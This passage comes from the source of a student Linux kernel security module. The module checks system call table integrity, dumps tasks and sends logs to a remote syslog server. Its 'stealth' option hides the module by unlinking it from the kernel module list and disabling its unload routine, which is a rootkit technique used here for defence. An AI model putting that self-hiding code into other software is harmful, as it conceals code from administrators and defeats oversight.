print_log(KERN_INFO MODULE_NAME ": Security extension for the linux kernel by Panos Sakkos \n"); 125 | print_log(KERN_INFO MODULE_NAME ":\t[+] Initializing\n"); 126 | 127 | ret = init_command_chrdev(MODULE_NAME, &carbonite); 128 | 129 | if(ret) 130 | { 131 | print_log(KERN_INFO MODULE_NAME ":\t[+] Initiliazed command character device\n"); 132 | } 133 | else 134 | { 135 | print_log(KERN_ERR MODULE_NAME ":\t[-] Failed to initialize command character device\n"); 136 | 137 | return -ECHARDEV; 138 | } 139 | 140 | ret = init_task_dump(); 141 | 142 | if(ret) 143 | { 144 | print_log(KERN_INFO MODULE_NAME ":\t[+] Initiliazed task_dump component\n"); 145 | } 146 | else 147 | { 148 | print_log(KERN_ERR MODULE_NAME ":\t[-] Failed to initialize task_dump component\n"); 149 | 150 | return -ETASKDUMP; 151 | } 152 | 153 | if(!sys_call_table_monitoring) 154 | { 155 | print_log(KERN_INFO MODULE_NAME ":\t[-] Skipping monitoring of the system call table\n"); 156 | 157 | return 0; 158 | } 159 | 160 | ret = init_sys_call_table_integrity_checker(MODULE_NAME, sys_call_table_check_interval, &carbonite); 161 | 162 | if(ret) 163 | { 164 | print_log(KERN_INFO MODULE_NAME ":\t[+] Initialized timer for checking the integrity of the system call table (check interval: %u)\n", 165 | sys_call_table_check_interval); 166 | } 167 | else 168 | { 169 | print_log(KERN_ERR MODULE_NAME ":\t[-] Failed to initialize system call table checker\n"); 170 | 171 | return -ESYSTABLE; 172 | } 173 | 174 | ret = init_logger(remote_log_ip); 175 | 176 | if(ret) 177 | { 178 | print_log(KERN_INFO MODULE_NAME ":\t[+] Initiliazed logger\n"); 179 | } 180 | else 181 | { 182 | print_log(KERN_ERR MODULE_NAME ":\t[-] Failed to initialize logger\n"); 183 | 184 | return -ELOGGER; 185 | } 186 | 187 | if(stealth) 188 | { 189 | /* Delete ourselves from the kernel's modules list 190 | * and free our destruction code, in order to avoid 191 | * to be dispatcehd by an attacker that is aware of us. 192 | */ 193 | 194 | list_del(&THIS_MODULE->list); 195 | THIS_MODULE->exit = NULL; 196 | 197 | print_log(KERN_INFO MODULE_NAME ":\t[+] Stealth mode is enabled\n"); 198 | } 199 | else 200 | { 201 | print_log(KERN_INFO MODULE_NAME ":\t[-] Stealth mode is not enabled\n"); 202 | } 203 | 204 | return 0; 205 | } 206 | 207 | void __exit carbonite_exit(void) 208 | { 209 | print_log(KERN_INFO MODULE_NAME ":\t[+] Exiting\n"); 210 | 211 | destroy_command_chrdev(); 212 | 213 | if(sys_call_table_monitoring) 214 | { 215 | destroy_sys_call_table_integrity_checker(); 216 | } 217 | 218 | destroy_task_dump(); 219 | 220 | destroy_logger(); 221 | } 222 | 223 | module_init(carbonite_init); 224 | module_exit(carbonite_exit); 225 | 226 | MODULE_LICENSE("GPL"); 227 | MODULE_AUTHOR("Panos Sakkos "); 228 | MODULE_DESCRIPTION("Security extensions for the linux kernel, as described in \"Special Focus Issue: Security\"\n" 229 | "\t\tarticle, by Rik Farrow at the MAGAZINE OF USENIX & SAGE. The current project will merge\n" 230 | "\t\tthe 2 suggestions in a kernel module that is compatible with the lastest versions of the\n" 231 | "\t\tlinux kernel and will also include some modern security mechanisms. Project for the master course\n" 232 | "\t\t\"Advanced Operating Systems\", instructed by Mema Rousopoulos \n"); 233 | -------------------------------------------------------------------------------- /the-drip-dry-carbonite/src/carbonite.h: -------------------------------------------------------------------------------- 1 | #ifndef __CARBONITE__ 2 | #define __CARBONITE__ 3 | 4 | #define MODULE_NAME "the-drip-dry-carbonite" 5 | 6 | #define ECHARDEV 200 7 | #define ETASKDUMP 300 8 | #define ESYSTABLE 400 9 | #define ELOGGER 500 10 | 11 | /* Parameter of carbonite symbol */ 12 | 13 | #define NONE -1 14 | #define ON_DEMAND 0 15 | #define AFTER_INCIDENT 1 16 | #define AFTER_MODULE_INIT 2 17 | 18 | #endif 19 | -------------------------------------------------------------------------------- /the-drip-dry-carbonite/src/command-chrdev.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Security extensions for the linux kernel, as described in "Special Focus Issue: Security" article, 3 | * by Rik Farrow at the MAGAZINE OF USENIX & SAGE. The current project merges the 2 suggestions in 4 | * a kernel module that is compatible with the lastest versions of the linux kernel and incorporates 5 | * some modern security mechanisms. 6 | * Project for the master course "Advanced Operating Systems", instructed by Mema Rousopoulos 7 | * 8 | * Copyright (C) 2013 Panos Sakkos 9 | * 10 | * This program is free software: you can redistribute it and/or modify 11 | * it under the terms of the GNU General Public License as published by 12 | * the Free Software Foundation, either version 3 of the License, or 13 | * (at your option) any later version. 14 | * 15 | * This program is distributed in the hope that it will be useful, 16 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 17 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 18 | * GNU General Public License for more details. 19 | * 20 | * You should have received a copy of the GNU General Public License 21 | * along with this program. If not, see . 22 | */ 23 | 24 | #include "command-chrdev.h" 25 | #include 26 | #include 27 | #include 28 | #include 29 | #include "proc-entry.h" 30 | #include "carbonite.h" 31 | 32 | static int command_major; 33 | static char commanding_module[MODULE_NAME_LEN]; 34 | static char chrdev_name[MODULE_NAME_LEN + 8]; //+ 8 chars for the "command-" prefix 35 | static char proc_file_name[MODULE_NAME_LEN + 8 + 6]; //+6 for the "-major" ending 36 | 37 | 38 | static void (*command) (int); 39 | 40 | long command_ioctl(struct file *file, unsigned int ioctl_num, unsigned long ioctl_param) 41 | { 42 | switch(ioctl_num) 43 | { 44 | case IOCTL_CARBONITE_COMMAND: 45 | 46 | if(!capable(CAP_SYS_ADMIN)) 47 | { 48 | /* Bugger off! */ 49 | 50 | return -EPERM; 51 | } 52 | 53 | if(command) 54 | { 55 | command(ON_DEMAND); 56 | } 57 | 58 | break; 59 | default: 60 | printk(KERN_ERR "%s:\t[-] Invalid ioctl command\n", commanding_module); 61 | return -ENOTTY; 62 | } 63 | 64 | return 0; 65 | } 66 | 67 | static const struct file_operations command_fops = { 68 | .owner = THIS_MODULE, 69 | .unlocked_ioctl = command_ioctl, 70 | }; 71 | 72 | int init_command_chrdev(const char *module_name, void (*function) (int)) 73 | { 74 | int ret; 75 | char major_number_string[10]; 76 | 77 | if(module_name == NULL) 78 | { 79 | printk(KERN_ERR "init_char_dev:\t[-] NULL module name passed as argument\n"); 80 | 81 | return 0; 82 | } 83 | 84 | strncpy(commanding_module, (char *) module_name, MODULE_NAME_LEN); 85 | 86 | if(function == NULL) 87 | { 88 | printk(KERN_ERR "%s:\t[-] NULL function pointer passed as argument\n", commanding_module); 89 | 90 | return 0; 91 | } 92 | 93 | command = function; 94 | strncpy(chrdev_name, "command-", 9); 95 | strncat(chrdev_name, commanding_module, MODULE_NAME_LEN); 96 | 97 | command_major = register_chrdev(0, chrdev_name, &command_fops); 98 | 99 | if(command_major < 0) 100 | { 101 | printk(KERN_ERR "%s:\t[-] Failed to initialize file operations with major number %d\n", 102 | commanding_module, command_major); 103 | 104 | return 0; 105 | } 106 | 107 | /* Create a proc entry to expose the device's major number */ 108 | 109 | sprintf(proc_file_name, "%s%s", chrdev_name, "-major"); 110 | sprintf(major_number_string, "%d", command_major); 111 | 112 | ret = init_proc_entry(proc_file_name, major_number_string); 113 | 114 | if(!ret) 115 | { 116 | printk(KERN_ERR "%s:\t[-] Failed to create proc fs entry\n", commanding_module); 117 | destroy_command_chrdev(); 118 | 119 | return 0; 120 | } 121 | 122 | printk(KERN_INFO "%s:\t[+] Registered successfully character device %s and major number %d\n", 123 | commanding_module, chrdev_name, command_major); 124 | printk(KERN_INFO "%s:\t[+] Create the file node by executing `mknod /dev/%s c %d 0`\n", 125 | commanding_module, chrdev_name, command_major); 126 | 127 | return 1; 128 | } 129 | 130 | void destroy_command_chrdev(void) 131 | { 132 | destroy_proc_entry(); 133 | unregister_chrdev(command_major, chrdev_name); 134 | 135 | command = NULL; 136 | command_major = commanding_module[0] = chrdev_name[0] = 0; 137 | 138 | } 139 | -------------------------------------------------------------------------------- /the-drip-dry-carbonite/src/command-chrdev.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Security extensions for the linux kernel, as described in "Special Focus Issue: Security" article, 3 | * by Rik Farrow at the MAGAZINE OF USENIX & SAGE. The current project merges the 2 suggestions in 4 | * a kernel module that is compatible with the lastest versions of the linux kernel and incorporates 5 | * some modern security mechanisms. 6 | * Project for the master course "Advanced Operating Systems", instructed by Mema Rousopoulos 7 | * 8 | * Copyright (C) 2013 Panos Sakkos 9 | * 10 | * This program is free software: you can redistribute it and/or modify 11 | * it under the terms of the GNU General Public License as published by 12 | * the Free Software Foundation, either version 3 of the License, or 13 | * (at your option) any later version. 14 | * 15 | * This program is distributed in the hope that it will be useful, 16 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 17 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 18 | * GNU General Public License for more details. 19 | * 20 | * You should have received a copy of the GNU General Public License 21 | * along with this program. If not, see . 22 | */ 23 | 24 | #ifndef _COMMAND_CHRDEV_ 25 | #define _COMMAND_CHRDEV_ 26 | 27 | #include 28 | 29 | #define IOCTL_CARBONITE_COMMAND _IO('c', 0) 30 | 31 | #ifdef MODULE 32 | 33 | /* Called with parameters the name of the module that will 34 | * use the char-dev command facility and the function pointer 35 | * to the function-command. 36 | */ 37 | 38 | int init_command_chrdev(const char *module_name, void (*function) (int)); 39 | 40 | void destroy_command_chrdev(void); 41 | 42 | #endif 43 | 44 | #endif 45 | -------------------------------------------------------------------------------- /the-drip-dry-carbonite/src/logger.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Security extensions for the linux kernel, as described in "Special Focus Issue: Security" article, 3 | * by Rik Farrow at the MAGAZINE OF USENIX & SAGE. The current project merges the 2 suggestions in 4 | * a kernel module that is compatible with the lastest versions of the linux kernel and incorporates 5 | * some modern security mechanisms. 6 | * Project for the master course "Advanced Operating Systems", instructed by Mema Rousopoulos 7 | * 8 | * Copyright (C) 2013 Panos Sakkos 9 | * 10 | * This program is free software: you can redistribute it and/or modify 11 | * it under the terms of the GNU General Public License as published by 12 | * the Free Software Foundation, either version 3 of the License, or 13 | * (at your option) any later version. 14 | * 15 | * This program is distributed in the hope that it will be useful, 16 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 17 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 18 | * GNU General Public License for more details. 19 | * 20 | * You should have received a copy of the GNU General Public License 21 | * along with this program. If not, see . 22 | */ 23 | 24 | #include 25 | #include 26 | #include 27 | #include 28 | #include 29 | #include 30 | #include 31 | #include "carbonite.h" 32 | 33 | #define UDP_LOG_PORT 514 34 | #define BUFFER_SIZE 1920 35 | 36 | static int log_remote; 37 | 38 | static struct socket *sock; 39 | static struct sockaddr_in log_addr; 40 | 41 | /* We cannot send messages when in atomic, so we create work 42 | * queues and add works that they will send the messages in process context 43 | */ 44 | 45 | static struct workqueue_struct *remote_log_work_queue; 46 | 47 | struct remote_log_work 48 | { 49 | struct work_struct my_work; 50 | char *buffer; 51 | }; 52 | 53 | void ksocket_send(struct work_struct *work) 54 | { 55 | int length; 56 | char *buffer; 57 | struct iovec iov; 58 | struct msghdr msg; 59 | mm_segment_t oldfs; 60 | struct remote_log_work *remote_log_work; 61 | 62 | if(!sock || !sock->sk || !work) 63 | { 64 | return; 65 | } 66 | 67 | remote_log_work = (struct remote_log_work *) work; 68 | buffer = remote_log_work->buffer; 69 | length = strnlen(buffer, BUFFER_SIZE); 70 | 71 | memset(&msg, 0, sizeof(struct msghdr)); 72 | msg.msg_flags = 0; 73 | msg.msg_name = (struct sockaddr *) &log_addr; 74 | msg.msg_namelen = sizeof(struct sockaddr_in); 75 | msg.msg_iov = &iov; 76 | msg.msg_iovlen = 1; 77 | msg.msg_control = NULL; 78 | msg.msg_controllen = 0; 79 | iov.iov_base = (char *) buffer; 80 | iov.iov_len = length; 81 | 82 | oldfs = get_fs(); 83 | set_fs(KERNEL_DS); 84 | 85 | /* If it fails to send the message it will not log any alert. 86 | * There is nothing we can do more. Persistent sending may cause problems. 87 | */ 88 | 89 | sock_sendmsg(sock, &msg, (size_t) length); 90 | set_fs(oldfs); 91 | 92 | kfree(remote_log_work->buffer); 93 | kfree(work); 94 | } 95 | 96 | int remote_udp_log(const char *format, va_list args) 97 | { 98 | char buffer[BUFFER_SIZE + 1]; 99 | int length, remaining, bytes_written; 100 | 101 | length = 0; 102 | remaining = BUFFER_SIZE; 103 | 104 | if(!sock) 105 | { 106 | return -1; 107 | } 108 | 109 | { 110 | /* Get time */ 111 | 112 | struct rtc_time tm; 113 | struct timespec curtime = CURRENT_TIME; 114 | 115 | rtc_time_to_tm(curtime.tv_sec, &tm); 116 | bytes_written = snprintf(buffer, remaining, "%d-%02d-%dT%d:%d:%d.%d+00:00 ", 117 | 1900 + tm.tm_year, tm.tm_mon, tm.tm_mday, tm.tm_hour, 118 | tm.tm_min, tm.tm_sec, (unsigned int) curtime.tv_nsec / 1000); 119 | } 120 | 121 | if(bytes_written >= remaining) 122 | { 123 | printk(KERN_ERR MODULE_NAME ":\t[-] Failed to log message (too long message)\n"); 124 | 125 | return 0; 126 | } 127 | 128 | length += bytes_written; 129 | remaining -= length; 130 | 131 | { 132 | /* Get uts name */ 133 | 134 | struct new_utsname *uts_name; 135 | 136 | uts_name = utsname(); 137 | 138 | bytes_written = snprintf(buffer + length, __NEW_UTS_LEN, "%s", uts_name->nodename); 139 | 140 | if(bytes_written >= __NEW_UTS_LEN) 141 | { 142 | printk(KERN_ERR MODULE_NAME ":\t[-] Failed to log message (too long message)\n"); 143 | 144 | return 0; 145 | } 146 | 147 | length += bytes_written; 148 | remaining -= length; 149 | } 150 | 151 | /* Add module's name and the log message */ 152 | 153 | bytes_written = snprintf(buffer + length, remaining, " kernel: " MODULE_NAME ": "); 154 | 155 | if(bytes_written >= remaining) 156 | { 157 | printk(KERN_ERR MODULE_NAME ":\t[-] Failed to log message (too long message)\n"); 158 | 159 | return 0; 160 | } 161 | 162 | length += bytes_written; 163 | remaining -= length; 164 | 165 | bytes_written = vsnprintf(buffer + length, remaining, format, args); 166 | 167 | if(bytes_written >= remaining) 168 | { 169 | printk(KERN_ERR MODULE_NAME ":\t[-] Failed to log message (too long message)\n"); 170 | 171 | return 0; 172 | } 173 | 174 | length += bytes_written; 175 | remaining -= length; 176 | 177 | buffer[length++] = '\0'; 178 | 179 | { 180 | struct remote_log_work *remote_log_work; 181 | 182 | remote_log_work = kmalloc(sizeof(struct remote_log_work), GFP_ATOMIC); 183 | 184 | if(remote_log_work == NULL) 185 | { 186 | printk(KERN_ERR MODULE_NAME ":\t[-] Failed to log message (work allocation failed)\n"); 187 | 188 | return 0; 189 | } 190 | 191 | remote_log_work->buffer = kmalloc(sizeof(char) * length, GFP_ATOMIC); 192 | 193 | if(remote_log_work->buffer == NULL) 194 | { 195 | printk(KERN_ERR MODULE_NAME ":\t[-] Failed to log message (work buffer allocation failed)\n"); 196 | kfree(remote_log_work); 197 | 198 | return 0; 199 | } 200 | 201 | strncpy(remote_log_work->buffer, buffer, length); 202 | 203 | INIT_WORK((struct work_struct *) remote_log_work, ksocket_send); 204 | queue_work(remote_log_work_queue, (struct work_struct *) remote_log_work); 205 | } 206 | 207 | return length; 208 | } 209 | 210 | int print_log(const char *format, ...) 211 | { 212 | int bytes, i; 213 | va_list args; 214 | char log_level[4] = { '\0' }; 215 | 216 | if(!format) 217 | { 218 | return -1; 219 | } 220 | 221 | /* Get first 3 characters of the format, it's the log level */ 222 | 223 | i = 0; 224 | while(i < 3 && format[i] != '\0') 225 | { 226 | log_level[i] = format[i]; 227 | i++; 228 | } 229 | 230 | va_start(args, format); 231 | bytes = vprintk(format, args); 232 | 233 | if(log_remote) 234 | { 235 | remote_udp_log(format, args); 236 | } 237 | 238 | va_end(args); 239 | 240 | return bytes; 241 | } 242 | 243 | int init_logger(char *ip) 244 | { 245 | if(sock) 246 | { 247 | printk(KERN_ERR MODULE_NAME ":\t[-] Logger was already initialized\n"); 248 | 249 | return 0; 250 | } 251 | 252 | if(ip) 253 | { 254 | printk(KERN_INFO MODULE_NAME ":\t[+] Remote logging is enabled\n"); 255 | 256 | log_remote = 1; 257 | 258 | log_addr.sin_family = AF_INET; 259 | log_addr.sin_port = htons(UDP_LOG_PORT); 260 | log_addr.sin_addr.s_addr = in_aton(ip); 261 | 262 | 263 | if(sock_create_kern(AF_INET, SOCK_DGRAM, IPPROTO_UDP, &sock) < 0) 264 | { 265 | sock = NULL; 266 | printk(KERN_ERR MODULE_NAME ":\t[-] Failed to create the socket\n"); 267 | 268 | return 0; 269 | } 270 | 271 | remote_log_work_queue = create_workqueue("remote_log_work_queue"); 272 | 273 | if(!remote_log_work_queue) 274 | { 275 | printk(KERN_ERR MODULE_NAME ":\t[-] Failed to create the work queue\n"); 276 | 277 | return 0; 278 | } 279 | } 280 | else 281 | { 282 | printk(KERN_INFO MODULE_NAME ":\t[-] Remote logging is not enabled\n"); 283 | } 284 | 285 | return 1; 286 | } 287 | 288 | void destroy_logger(void) 289 | { 290 | if(sock) 291 | { 292 | sock_release(sock); 293 | sock = NULL; 294 | } 295 | 296 | if(remote_log_work_queue) 297 | { 298 | destroy_workqueue(remote_log_work_queue); 299 | } 300 | } 301 | 302 | 303 | 304 | -------------------------------------------------------------------------------- /the-drip-dry-carbonite/src/logger.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Security extensions for the linux kernel, as described in "Special Focus Issue: Security" article, 3 | * by Rik Farrow at the MAGAZINE OF USENIX & SAGE. The current project merges the 2 suggestions in 4 | * a kernel module that is compatible with the lastest versions of the linux kernel and incorporates 5 | * some modern security mechanisms. 6 | * Project for the master course "Advanced Operating Systems", instructed by Mema Rousopoulos 7 | * 8 | * Copyright (C) 2013 Panos Sakkos 9 | * 10 | * This program is free software: you can redistribute it and/or modify 11 | * it under the terms of the GNU General Public License as published by 12 | * the Free Software Foundation, either version 3 of the License, or 13 | * (at your option) any later version. 14 | * 15 | * This program is distributed in the hope that it will be useful, 16 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 17 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 18 | * GNU General Public License for more details. 19 | * 20 | * You should have received a copy of the GNU General Public License 21 | * along with this program. If not, see . 22 | */ 23 | 24 | #ifndef __MY_LOGGER__ 25 | #define __MY_LOGGER__ 26 | 27 | #define MAX_LOG_LEN 1024 28 | 29 | int init_logger(char *ip); 30 | 31 | int print_log(const char *format, ...); 32 | 33 | void destroy_logger(void); 34 | 35 | #endif 36 | -------------------------------------------------------------------------------- /the-drip-dry-carbonite/src/my-kallsyms.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Security extensions for the linux kernel, as described in "Special Focus Issue: Security" article, 3 | * by Rik Farrow at the MAGAZINE OF USENIX & SAGE. The current project merges the 2 suggestions in 4 | * a kernel module that is compatible with the lastest versions of the linux kernel and incorporates 5 | * some modern security mechanisms. 6 | * Project for the master course "Advanced Operating Systems", instructed by Mema Rousopoulos 7 | * 8 | * Copyright (C) 2013 Panos Sakkos 9 | * 10 | * This program is free software: you can redistribute it and/or modify 11 | * it under the terms of the GNU General Public License as published by 12 | * the Free Software Foundation, either version 3 of the License, or 13 | * (at your option) any later version. 14 | * 15 | * This program is distributed in the hope that it will be useful, 16 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 17 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 18 | * GNU General Public License for more details. 19 | * 20 | * You should have received a copy of the GNU General Public License 21 | * along with this program. If not, see . 22 | */ 23 | 24 | #include "my-kallsyms.h" 25 | #include 26 | #include 27 | #include 28 | #include 29 | 30 | unsigned long target_address; 31 | 32 | int find(void *data, const char *name, struct module *module, unsigned long address) 33 | { 34 | char *target_name = (char *) data; 35 | 36 | if(!strncmp(target_name, name, KSYM_NAME_LEN)) 37 | { 38 | target_address = address; 39 | return 1; 40 | } 41 | 42 | return 0; 43 | } 44 | 45 | int return_next_symbol; 46 | 47 | int find_next(void *data, const char *name, struct module *module, unsigned long address) 48 | { 49 | unsigned long target = * (unsigned long *) data; 50 | 51 | if(target == address) 52 | { 53 | return_next_symbol = 1; 54 | return 0; 55 | } 56 | 57 | if(return_next_symbol) 58 | { 59 | target_address = address; 60 | return 1; 61 | } 62 | 63 | return 0; 64 | } 65 | 66 | unsigned long find_next_symbol(unsigned long target_symbol) 67 | { 68 | target_address = 0; 69 | return_next_symbol = 0; 70 | 71 | kallsyms_on_each_symbol(&find_next, (void *) &target_symbol); 72 | 73 | return target_address; 74 | } 75 | 76 | unsigned long my_kallsyms_lookup_name(const char *name) 77 | { 78 | #if LINUX_VERSION_CODE <= KERNEL_VERSION(2, 6, 32) 79 | target_address = 0; 80 | 81 | kallsyms_on_each_symbol(&find, (void *) name); 82 | 83 | return target_address; 84 | #else 85 | return kallsyms_lookup_name(name); 86 | #endif 87 | } 88 | -------------------------------------------------------------------------------- /the-drip-dry-carbonite/src/my-kallsyms.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Security extensions for the linux kernel, as described in "Special Focus Issue: Security" article, 3 | * by Rik Farrow at the MAGAZINE OF USENIX & SAGE. The current project merges the 2 suggestions in 4 | * a kernel module that is compatible with the lastest versions of the linux kernel and incorporates 5 | * some modern security mechanisms. 6 | * Project for the master course "Advanced Operating Systems", instructed by Mema Rousopoulos 7 | * 8 | * Copyright (C) 2013 Panos Sakkos 9 | * 10 | * This program is free software: you can redistribute it and/or modify 11 | * it under the terms of the GNU General Public License as published by 12 | * the Free Software Foundation, either version 3 of the License, or 13 | * (at your option) any later version. 14 | * 15 | * This program is distributed in the hope that it will be useful, 16 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 17 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 18 | * GNU General Public License for more details. 19 | * 20 | * You should have received a copy of the GNU General Public License 21 | * along with this program. If not, see . 22 | */ 23 | 24 | #ifndef __MY_KALLSYMS__ 25 | #define __MY_KALLSYMS__ 26 | 27 | unsigned long my_kallsyms_lookup_name(const char *name); 28 | 29 | unsigned long find_next_symbol(unsigned long target_symbol); 30 | 31 | #endif 32 | 33 | -------------------------------------------------------------------------------- /the-drip-dry-carbonite/src/proc-entry.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Security extensions for the linux kernel, as described in "Special Focus Issue: Security" article, 3 | * by Rik Farrow at the MAGAZINE OF USENIX & SAGE. The current project merges the 2 suggestions in 4 | * a kernel module that is compatible with the lastest versions of the linux kernel and incorporates 5 | * some modern security mechanisms. 6 | * Project for the master course "Advanced Operating Systems", instructed by Mema Rousopoulos 7 | * 8 | * Copyright (C) 2013 Panos Sakkos 9 | * 10 | * This program is free software: you can redistribute it and/or modify 11 | * it under the terms of the GNU General Public License as published by 12 | * the Free Software Foundation, either version 3 of the License, or 13 | * (at your option) any later version. 14 | * 15 | * This program is distributed in the hope that it will be useful, 16 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 17 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 18 | * GNU General Public License for more details. 19 | * 20 | * You should have received a copy of the GNU General Public License 21 | * along with this program. If not, see . 22 | */ 23 | 24 | #include "proc-entry.h" 25 | #include 26 | #include 27 | 28 | static char *proc_file_name, *data_to_expose; 29 | static struct proc_dir_entry *proc_entry; 30 | 31 | int procfile_read(char *buffer, char **buffer_location, off_t offset, int buffer_length, int *eof, void *data) 32 | { 33 | if(offset > 0) 34 | { 35 | /* Nothing else to do */ 36 | 37 | return 0; 38 | } 39 | else 40 | { 41 | return sprintf(buffer, "%s", data_to_expose); 42 | } 43 | } 44 | 45 | int init_proc_entry(char *name, char *data) 46 | { 47 | if(proc_entry != NULL) 48 | { 49 | return 0; 50 | } 51 | 52 | proc_file_name = kmalloc(strlen(name) * sizeof(char) + 1, GFP_ATOMIC); 53 | 54 | if(!proc_file_name) 55 | { 56 | return 0; 57 | } 58 | 59 | strcpy(proc_file_name, name); 60 | 61 | data_to_expose = kmalloc(strlen(data) * sizeof(char) + 1, GFP_ATOMIC); 62 | 63 | if(!data_to_expose) 64 | { 65 | return 0; 66 | } 67 | 68 | strcpy(data_to_expose, data); 69 | 70 | proc_entry = create_proc_entry(proc_file_name, 0400, NULL); 71 | 72 | if(proc_entry == NULL) 73 | { 74 | return 0; 75 | } 76 | 77 | proc_entry->read_proc = procfile_read; 78 | proc_entry->mode = S_IFREG | S_IRUGO; 79 | proc_entry->uid = 0; 80 | proc_entry->gid = 0; 81 | proc_entry->size = strlen(data_to_expose); 82 | 83 | return 1; 84 | } 85 | 86 | void destroy_proc_entry(void) 87 | { 88 | if(proc_entry) 89 | { 90 | remove_proc_entry(proc_file_name, NULL); 91 | } 92 | 93 | if(proc_file_name) 94 | { 95 | kfree(proc_file_name); 96 | } 97 | 98 | if(data_to_expose) 99 | { 100 | kfree(data_to_expose); 101 | } 102 | } 103 | 104 | -------------------------------------------------------------------------------- /the-drip-dry-carbonite/src/proc-entry.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Security extensions for the linux kernel, as described in "Special Focus Issue: Security" article, 3 | * by Rik Farrow at the MAGAZINE OF USENIX & SAGE. The current project merges the 2 suggestions in 4 | * a kernel module that is compatible with the lastest versions of the linux kernel and incorporates 5 | * some modern security mechanisms. 6 | * Project for the master course "Advanced Operating Systems", instructed by Mema Rousopoulos 7 | * 8 | * Copyright (C) 2013 Panos Sakkos 9 | * 10 | * This program is free software: you can redistribute it and/or modify 11 | * it under the terms of the GNU General Public License as published by 12 | * the Free Software Foundation, either version 3 of the License, or 13 | * (at your option) any later version. 14 | * 15 | * This program is distributed in the hope that it will be useful, 16 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 17 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 18 | * GNU General Public License for more details. 19 | * 20 | * You should have received a copy of the GNU General Public License 21 | * along with this program. If not, see . 22 | */ 23 | 24 | #ifndef _PROC_ENTRY_ 25 | #define _PROC_ENTRY_ 26 | 27 | int init_proc_entry(char *name, char *data); 28 | 29 | void destroy_proc_entry(void); 30 | 31 | #endif 32 | -------------------------------------------------------------------------------- /the-drip-dry-carbonite/src/super-fast-hash.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Original author: Paul Hsieh 3 | * 4 | * http://azillionmonkeys.com/qed/hash.html 5 | */ 6 | 7 | #include 8 | 9 | #undef get16bits 10 | #if (defined(__GNUC__) && defined(__i386__)) || defined(__WATCOMC__) \ 11 | || defined(_MSC_VER) || defined (__BORLANDC__) || defined (__TURBOC__) 12 | #define get16bits(d) (*((const uint16_t *) (d))) 13 | #endif 14 | 15 | #if !defined (get16bits) 16 | #define get16bits(d) ((((uint32_t)(((const uint8_t *)(d))[1])) << 8) \ 17 | +(uint32_t)(((const uint8_t *)(d))[0]) ) 18 | #endif 19 | 20 | uint32_t super_fast_hash(const char *data, unsigned int len) { 21 | int rem; 22 | uint32_t hash = len, tmp; 23 | if (len == 0 || data == NULL) 24 | return 0; 25 | rem = len & 3; 26 | len >>= 2; 27 | /* Main loop */ 28 | for (;len > 0; len--) { 29 | hash += get16bits (data); 30 | tmp = (get16bits (data + 2) << 11) ^ hash; 31 | hash = (hash << 16) ^ tmp; 32 | data += 2 * sizeof (uint16_t); 33 | hash += hash >> 11; 34 | } 35 | /* Handle end cases */ 36 | switch (rem) { 37 | case 3: hash += get16bits (data); 38 | hash ^= hash << 16; 39 | hash ^= data[sizeof (uint16_t)] << 18; 40 | hash += hash >> 11; 41 | break; 42 | case 2: hash += get16bits (data); 43 | hash ^= hash << 11; 44 | hash += hash >> 17; 45 | break; 46 | case 1: hash += *data; 47 | hash ^= hash << 10; 48 | hash += hash >> 1; 49 | } 50 | /* Force "avalanching" of final 127 bits */ 51 | hash ^= hash << 3; 52 | hash += hash >> 5; 53 | hash ^= hash << 4; 54 | hash += hash >> 17; 55 | hash ^= hash << 25; 56 | hash += hash >> 6; 57 | return hash; 58 | } 59 | -------------------------------------------------------------------------------- /the-drip-dry-carbonite/src/super-fast-hash.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Security extensions for the linux kernel, as described in "Special Focus Issue: Security" article, 3 | * by Rik Farrow at the MAGAZINE OF USENIX & SAGE. The current project merges the 2 suggestions in 4 | * a kernel module that is compatible with the lastest versions of the linux kernel and incorporates 5 | * some modern security mechanisms. 6 | * Project for the master course "Advanced Operating Systems", instructed by Mema Rousopoulos 7 | * 8 | * Copyright (C) 2013 Panos Sakkos 9 | * 10 | * This program is free software: you can redistribute it and/or modify 11 | * it under the terms of the GNU General Public License as published by 12 | * the Free Software Foundation, either version 3 of the License, or 13 | * (at your option) any later version. 14 | * 15 | * This program is distributed in the hope that it will be useful, 16 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 17 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 18 | * GNU General Public License for more details. 19 | * 20 | * You should have received a copy of the GNU General Public License 21 | * along with this program. If not, see . 22 | */ 23 | 24 | #ifndef _SUPER_FAST_HASH_ 25 | #define _SUPER_FAST_HASH_ 26 | 27 | uint32_t super_fast_hash(const char *data, unsigned int len); 28 | 29 | #endif 30 | -------------------------------------------------------------------------------- /the-drip-dry-carbonite/src/sys-call-table-integrity-check.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Security extensions for the linux kernel, as described in "Special Focus Issue: Security" article, 3 | * by Rik Farrow at the MAGAZINE OF USENIX & SAGE. The current project merges the 2 suggestions in 4 | * a kernel module that is compatible with the lastest versions of the linux kernel and incorporates 5 | * some modern security mechanisms. 6 | * Project for the master course "Advanced Operating Systems", instructed by Mema Rousopoulos 7 | * 8 | * 